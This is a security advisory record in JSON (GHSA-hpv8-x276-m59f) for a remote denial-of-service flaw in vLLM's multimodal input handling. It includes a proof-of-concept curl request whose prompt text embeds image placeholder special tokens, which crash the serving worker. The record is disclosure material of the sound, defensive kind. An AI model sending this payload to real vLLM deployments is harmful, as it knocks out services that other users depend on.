{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "vllm"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.6.1"
            },
            {
              "fixed": "0.20.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44222"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-129"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-05T22:21:41Z",
    "nvd_published_at": "2026-05-12T20:16:43Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\nThis report explains a Token Injection vulnerability in vLLM\u2019s multimodal processing. Unauthenticated, text-only prompts that spell special tokens are interpreted as control. Image and video placeholder sequences supplied without matching data cause vLLM to index into empty grids during input-position computation, raising an unhandled IndexError and terminating the worker or degrading availability. Multimodal paths that rely on `image_grid_thw`/`video_grid_thw` are affected. Severity: High (remote DoS). Reproduced on vLLM 0.10.0 with Qwen2.5-VL.\n\n## Details\n- Affected component: multimodal input position computation.\n- File/functions (paths are indicative):\n  - vllm/model_executor/layers/rotary_embedding.py\n    - get_input_positions_tensor(...)\n    - _vl_get_input_positions_tensor(...)\n- Failure mechanism:\n  - The code counts detected vision tokens and then indexes video_grid_thw/image_grid_thw accordingly.\n  - When user input carries placeholder tokens but no actual multimodal payload, these grids are empty. The code does not bounds-check before indexing.\n\nRepresentative snippet (context):\n```python\n# vllm/model_executor/layers/rotary_embedding.py\n@classmethod\ndef _vl_get_input_positions_tensor(\n    cls,\n    input_tokens,\n    hf_config,\n    image_grid_thw,\n    video_grid_thw,\n    ...,\n):\n    # detect video tokens\n    video_nums = (vision_tokens == video_token_id).sum()\n    # later in processing\n    t, h, w = (\n        video_grid_thw[video_index][0],  # IndexError if no video data\n        video_grid_thw[video_index][1],\n        video_grid_thw[video_index][2],\n    )\n```\n\nAbbreviated call path:\n```\nOpenAI API request\n \u2192 vllm.v1.engine.core: step/execute_model\n \u2192 vllm.v1.worker.gpu_model_runner: _update_states/execute_model\n \u2192 vllm.model_executor.layers.rotary_embedding: get_input_positions_tensor\n \u2192 _vl_get_input_positions_tensor\n \u2192 IndexError: list index out of range\n```\n\n## PoC\n### Environment\n- vLLM: 0.10.0\n- Model: Qwen/Qwen2.5-VL-3B-Instruct\n- Launch server:\n```bash\npython -m vllm.entrypoints.openai.api_server \\\n  --model Qwen/Qwen2.5-VL-3B-Instruct \\\n  --port 8000\n```\n\n### Request (text-only, no image/video data)\n```bash\ncat \u003e request.json \u003c\u003c\u0027JSON\u0027\n{\n  \"model\": \"Qwen/Qwen2.5-VL-3B-Instruct\",\n  \"messages\": [\n    {\n      \"role\": \"user\",\n      \"content\": [\n        { \"type\": \"text\",\n          \"text\": \"what\u0027s in picture \u003c|vision_start|\u003e\u003c|image_pad|\u003e\u003c|vision_end|\u003e\" }\n      ]\n    }\n  ]\n}\nJSON\n\ncurl -s http://127.0.0.1:8000/v1/chat/completions \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  --data @request.json\n```\n\n### Observed result\n- HTTP 500; logs show IndexError: list index out of range from _vl_get_input_positions_tensor(...).\n- In some deployments, the worker exits and capacity remains reduced until manual restart.\n\n## Impact\n- Type: Token Injection leading to Remote Denial of Service (unauthenticated). A single request can trigger the fault.\n- Scope: Any vLLM deployment that serves VLMs and accepts raw user text via OpenAI-compatible endpoints (self-hosted or proxied/managed fronts).\n- Effect: Request \u2192 unhandled exception in position computation \u2192 worker termination / service unavailability.\n\n## Fixes\n\n* Changes associated with https://github.com/vllm-project/vllm/issues/32656\n\n## Credits\nPengyu Ding (Infra Security, Ant Group)  \nZiteng Xu (Infra Security, Ant Group)",
  "id": "GHSA-hpv8-x276-m59f",
  "modified": "2026-05-13T16:27:48Z",
  "published": "2026-05-05T22:21:41Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/vllm-project/vllm/security/advisories/GHSA-hpv8-x276-m59f"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44222"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vllm-project/vllm/issues/32656"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/vllm-project/vllm"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "vLLM Vulnerable to Remote DoS via Special-Token Placeholders"
}